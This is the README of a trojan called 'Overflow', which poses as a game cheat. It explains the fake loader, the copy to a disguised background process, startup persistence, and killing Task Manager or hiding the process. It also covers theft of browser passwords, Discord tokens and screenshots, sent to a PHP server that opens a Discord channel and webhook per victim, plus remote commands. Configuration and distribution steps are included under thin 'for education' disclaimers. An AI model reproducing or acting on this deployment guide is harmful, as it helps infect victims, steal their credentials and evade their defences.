Trojan Malware

Disclaimer

The purpose of this is to allow the study of malware and enable people who are interested in malware analysis (or maybe even as a part of their job) to have access to live malware, analyse the ways they operate, and maybe even enable advanced and savvy people to block specific malware within their own environment.

Background

Overflow is a trojan horse malware that disguises itself as a faulty cheat but runs in the background providing full accsess to the targets computer while sending passwords/screenshots/uploads to a dynamically created discord channel.

Apon running the process as an administrator it spawns an ImGui menu displaying progress text in the following order:

  • "installing dependencies..."

  • "loading..."

  • "fatal error: failed to install DX11"

After the last message the 'loader' closes, in total this is set to take around 11 secounds. Ideally this would be repleaced with anything you want; presumabely a fake login feild would be best.

Core

- Fake Loader (YourFakeLoader.exe)
- Client (COMProcess.exe)
- Server (PHP/Hosted Server)

When the loader is run the client immeadtly copys this process into the "AppData\Microsoft\COM" and renames it to COMProcess.exe, essitnatly creating a duplicate. Since the loader was ran as an admin, it then runs the newly copied process using system() giving it the same elevated privledges. As this client COMProcess.exe runs in the background it collaberates with the server which is revicing requests from the client and forwarding them to the discord server.

Client

The client runs in the backgroudn under the name COMProcess.exe, which can be changed, and it attempts to forefuclly close any taskmanager.exe or processhacker.exe instances. Yes that is an intrusvie measure and defeates the otherwise hidden point of the malware but most victums suprignly just dont care. An alternative to this is to uncomment this line of code which will remove the client from the taskmanager list: //hide_process(client::STARTUP_FILE_NAME);

The client is added to the registrys set of startup processes, so it will launch on startup. But its important to notice that if the client was started from startup then you will have lost the elevated admin privldges. Therefor its esiantll you get whatever downloads that may require admin privldges as soon as possible on the first run of the loader.

Server

The server hosts the important php files which process the incoming requests from the client and either will:

  1. Create a discord channel and a webhook
  2. Save any uploads posted
  3. Send a message to the webhook
  4. Read command buffer file
  5. Update command buffer file

On the first run of the fake loader the COMProcess.exe will make a request to channel.php. This file will dynamicalyl create a discord channel titled after the clients ip address, create a webhook for that channel, as well as create a folder for the client in the profiles folder on the server. Finally the file will update the servers database with the new realvent infromation.

Overview of the root direcotry:

The profiles folder is the collection of all active clients and their uploads. As mentioned, each one of these client folders would contain all screenshots/camera shots/passwords/uploads along with the ip.txt file which is the command buffer file

Discord Server

Your discord server is where all the client channels will be stored at:

To send commands to a client, I created a bot which would make a post request to the text file stored in the client folder (profiles/IP/IP.txt) on your server

Features

  • Uploads locally stored saved passwords (Chrome, Brave, Edge, etc)
  • Uploads discord token
  • Change pc background wallpaper
  • List devices on network
  • Launch teamviewer session
  • Kill process
  • Shutdown target pc

Usage (For Education)

  1. Change the version #define VERSION "4.0.5"
  2. Change the website url to the root directory of your website std::string website = "https://YouWebsiteDirecotryPathHere.com/";
  3. Optional: Change name of background process/client const std::string STARTUP_FILE_NAME = xorstr_("COMProcess.exe");
  4. Optinal: Change name of the loader const std::string PROGRAM_NAME = xorstr_("OverflowClient.exe");
  5. In the channel.php change the following (same with send.php):

Distrubuting FOR EDUCATION: The code is statiically compilled so if you want to distrubute it after making the necssary changes then you simply need to replace the compiled exe with the one in the "production" folder.

Target: The target needs to run the loader as an admin, if the user does not run it as an admin a error window will pop up speicfing them to.

Note: This project was only made for education purposes. If you choose to use this for malicious reasons, you are completely responsible for the outcome.
